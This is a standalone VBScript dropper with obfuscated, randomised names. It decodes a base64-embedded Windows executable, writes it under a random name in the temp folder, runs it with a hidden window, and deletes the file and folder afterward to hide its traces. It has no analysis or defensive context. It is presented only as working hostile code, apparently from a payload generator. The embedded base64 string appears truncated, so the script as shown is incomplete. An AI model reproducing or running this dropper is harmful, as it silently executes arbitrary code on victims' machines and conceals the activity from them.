Function nhnBxtsNb(fDCGJzHLbErbn)
VkPMfwODPcwSpi = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
fDCGJzHLbErbn & "</B64DECODE>"
Set bOXGPqQfhio = CreateObject("MSXML2.DOMDocument.3.0")
bOXGPqQfhio.LoadXML(VkPMfwODPcwSpi)
nhnBxtsNb = bOXGPqQfhio.selectsinglenode("B64DECODE").nodeTypedValue
set bOXGPqQfhio = nothing
End Function
Function NaiZKAWvwSIRtk()
yPehMiiSPIN = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABFa2j4AAAAAAAAAAOAADwMLAQI4AAIAAAAOAAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAABAAAAAAgAARjoAAAIAAAAAACAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAAwAABkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAKAAAAAAQAAAAAgAAAAIAAAAAAAAAAAAAAAAAACAAMGAuZGF0YQAAAJAKAAAAIAAAAAwAAAAEAAAAAAAAAAAAAAAAAAAgADDgLmlkYXRhAABkAAAAADAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAwwAAAAAAAAAAAAAAAAAAAAAC4ACBAAP/gkP8lODBAAJCQAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Dim MRjApysbCom
Set MRjApysbCom = CreateObject("Scripting.FileSystemObject")
Dim FFmfMoBxpTxMn
Dim UoEPslpNNyRW
Set FFmfMoBxpTxMn = MRjApysbCom.GetSpecialFolder(2)
UoEPslpNNyRW = FFmfMoBxpTxMn & "\" & MRjApysbCom.GetTempName()
MRjApysbCom.CreateFolder(UoEPslpNNyRW)
RGnWstbBCLTwdP = UoEPslpNNyRW & "\" & "aQRCnwPkjpQxYq.exe"
Dim ASDjglYOGWeQ
Set ASDjglYOGWeQ = CreateObject("Wscript.Shell")
YkBpkWtom = nhnBxtsNb(yPehMiiSPIN)
Set KYNmnlqrDxFqK = CreateObject("ADODB.Stream")
KYNmnlqrDxFqK.Type = 1
KYNmnlqrDxFqK.Open
KYNmnlqrDxFqK.Write YkBpkWtom
KYNmnlqrDxFqK.SaveToFile RGnWstbBCLTwdP, 2
ASDjglYOGWeQ.run RGnWstbBCLTwdP, 0, true
MRjApysbCom.DeleteFile(RGnWstbBCLTwdP)
MRjApysbCom.DeleteFolder(UoEPslpNNyRW)
End Function
NaiZKAWvwSIRtk